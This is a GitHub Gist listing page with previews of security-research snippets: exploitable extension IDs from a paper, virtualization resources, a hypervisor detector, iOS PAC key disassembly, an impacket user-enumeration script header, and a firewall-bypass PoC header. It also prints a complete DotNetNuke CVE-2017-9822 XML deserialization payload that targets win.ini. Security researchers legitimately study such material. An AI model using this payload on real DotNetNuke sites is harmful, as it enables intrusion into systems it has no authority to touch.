Skip to content

Instantly share code, notes, and snippets.

View nbosa's full-sized avatar

Nbosa nbosa

53 followers · 9 following
View GitHub Profile
@roycewilliams
roycewilliams / extension-IDs-from-Somé-INRIA-paper.txt
Last active August 12, 2021 20:02
Extensions using exploitable APIs mentioned in the 2019 INRIA paper by Somé
# References:
#
# Cimpanu article: https://www.zdnet.com/article/websites-can-steal-browser-data-via-extensions-apis/
# Testing tool: https://www-sop.inria.fr/members/Doliere.Some/empoweb/extsanalyzer/
# Paper: https://www-sop.inria.fr/members/Doliere.Some/papers/empoweb.pdf
#
abenhehmjmoifipfpjeaejpbeeihnokp
aclhfmpoahihmhhacaekgcbjaeojnifa
aefmgkhgcmdljpfijlohmbhkhflmbmfi
afddmpnodjaifgjibafjcbfaplnoipei
@uchi-mata
uchi-mata / VirtualizationResources.md
Last active March 6, 2023 19:34
This gist gathers resources that can be used to get started with virtualization (security) research and to get a deeper understanding of virtualization internals.
@nwert
nwert / RPLLoader.cpp
Created November 7, 2018 08:57
#include "RPLLoader.h"
#include "../common/elf/ELFLoaderBase.h"
#include "RPL.h"
#include "RPL_inlines.h"
#include "Section.h"
#include "miniz_tinfl.h"
class RPLLoaderImpl final
@pwntester
pwntester / ReadFile.xml
Created October 31, 2018 12:20
DotNetNuke (CVE-2017-9822) Payloads
<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
@drew-gpf
drew-gpf / hyperdetect.c
Last active March 2, 2026 11:44
//this requires being able to run at kernel mode and assumes you're using MSVC
//this also uses an unnamed structure for cr0_t, which is a nonstandard extension of the C language
//data structure for cr0
typedef union _cr0_t
{
struct
{
uint64_t protection_enable : 1;
@Proteas
Proteas / pac-set-key.md
Created September 22, 2018 12:50

iOS-v12.0-16A366-iPhone11,6

instructions about setting pac key

__text:FFFFFFF007A0834C                 LDR             X0, =0xFEEDFACEFEEDFACF ; LDR X0, #348, 0xFFFFFFF007A084A8
__text:FFFFFFF007A08350                 MSR             #0, c2, c1, #2, X0 ; APIBKeyLo_EL1
__text:FFFFFFF007A08354                 MSR             #0, c2, c1, #3, X0 ; APIBKeyHi_EL1
__text:FFFFFFF007A08358                 ADD             X0, X0, #1
__text:FFFFFFF007A0835C                 MSR             #0, c2, c2, #2, X0 ; APDBKeyLo_EL1
__text:FFFFFFF007A08360                 MSR             #0, c2, c2, #3, X0 ; APDBKeyHi_EL1
@npasserini
npasserini / list-dangling-commits.sh
Created September 22, 2018 12:28
List dangling commits
#!/bin/bash
PAGER= \
&& git fsck --full --no-reflogs --unreachable --lost-found \
| grep commit \
| awk '{print $3}' \
| xargs -n 1 git log -n 1 --pretty=oneline
@edeca
edeca / pe_mitigation_check.py
Created September 20, 2018 21:36
A simple script to check PE files for exploit mitigations (/DYNAMICBASE, /NXCOMPAT, /HIGHENTROPYVA) and anomalies
import argparse
import logging
import pefile
import sys
from prettytable import PrettyTable
########
# Author: David Cannings @edeca
# Date: September 2018
#
@dirkjanm
dirkjanm / getloggedon.py
Created September 15, 2018 19:27
Simple script that uses impacket to enumerate logged on users as admin using NetrWkstaUserEnum and impacket
#!/usr/bin/env python
# Copyright (c) 2012-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Gets logged on users via NetrWkstaUserEnum (requires admin on targets).
# Mostly adapted from netview.py and lookupsid.py
#
@Shamar
Shamar / bypass-firewall-and-probe-ports.html
Created September 3, 2018 14:19
PoC exploit: bypass a corporate firewall through JavaScript and a DNS
<html>
<!-- This is a very simple Proof of Concepts of just one of the possible attacks
described at https://bugzilla.mozilla.org/show_bug.cgi?id=1487081
You can give it a try by following the instruction at
https://dev.to/shamar/the-meltdown-of-the-web-4p1m
Just please, remember to restore your /etc/hosts after.
-->
<head>
<script type="text/javascript">